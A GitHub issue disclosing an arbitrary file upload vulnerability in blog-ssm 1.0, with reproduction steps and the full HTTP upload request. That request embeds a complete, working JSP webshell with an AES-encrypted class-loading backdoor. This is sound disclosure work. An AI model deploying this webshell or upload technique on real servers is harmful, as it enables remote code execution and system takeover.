Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Unrestricted Upload of File with Dangerous Type In /uploadFileList #3

Open
mbslzny opened this issue Sep 1, 2022 · 0 comments
Open

Comments

@mbslzny
Copy link

mbslzny commented Sep 1, 2022

Unrestricted Upload of File with Dangerous Type In /uploadFileList

[Suggested description]

blog-ssm v1.0 was found to contain an arbitrary file upload vulnerability via the component /uploadFileList. This vulnerability allows an attacker to escalate privileges and execute arbitrary commands through a crafted file.

[Vulnerability Type]

Unrestricted Upload of File with Dangerous Type

[Vendor of Product]

https://github.com/rawchen/blog-ssm

[Affected Product Code Base]

1.0

[Affected Component]

blog-ssm 1.0

OS: Windows/Linux/macOS

Browser: Chrome、Firefox、Safari

[Attack Vector]

Step1:Registered account, username: text123, password: 123456.

image-20220901151056903

Step2:Log in to the account you just registered and click "File Management".

image-20220901151310085

image-20220901151450938

Step3:Click File Upload, select the Trojan file that has been built in advance, and click Upload.

image-20220901151725905

image-20220901151844500

Data Pack
POST /uploadFileList HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------352203683622881217472510347558
Content-Length: 2854
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/adminFile
Cookie: JSESSIONID=F68B6E11EB57F40C26C413029E832793
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------352203683622881217472510347558
Content-Disposition: form-data; name="files[]"; filename="text.jsp"
Content-Type: application/octet-stream

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>
-----------------------------352203683622881217472510347558--
Step4:In /file, click text.jsp to get the URL address of WebShell: http://localhost:8081/upload/file/text.jsp.

image-20220901152330084

image-20220901152647804

Step5:Connect to the Trojan via http://localhost:8081/upload/file/text.jsp.

image-20220901153236077

image-20220901153318713

[Attack Type]

Remote

[Impact Code execution]

True

[Reference(s)]

http://cwe.mitre.org/data/definitions/23.html

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant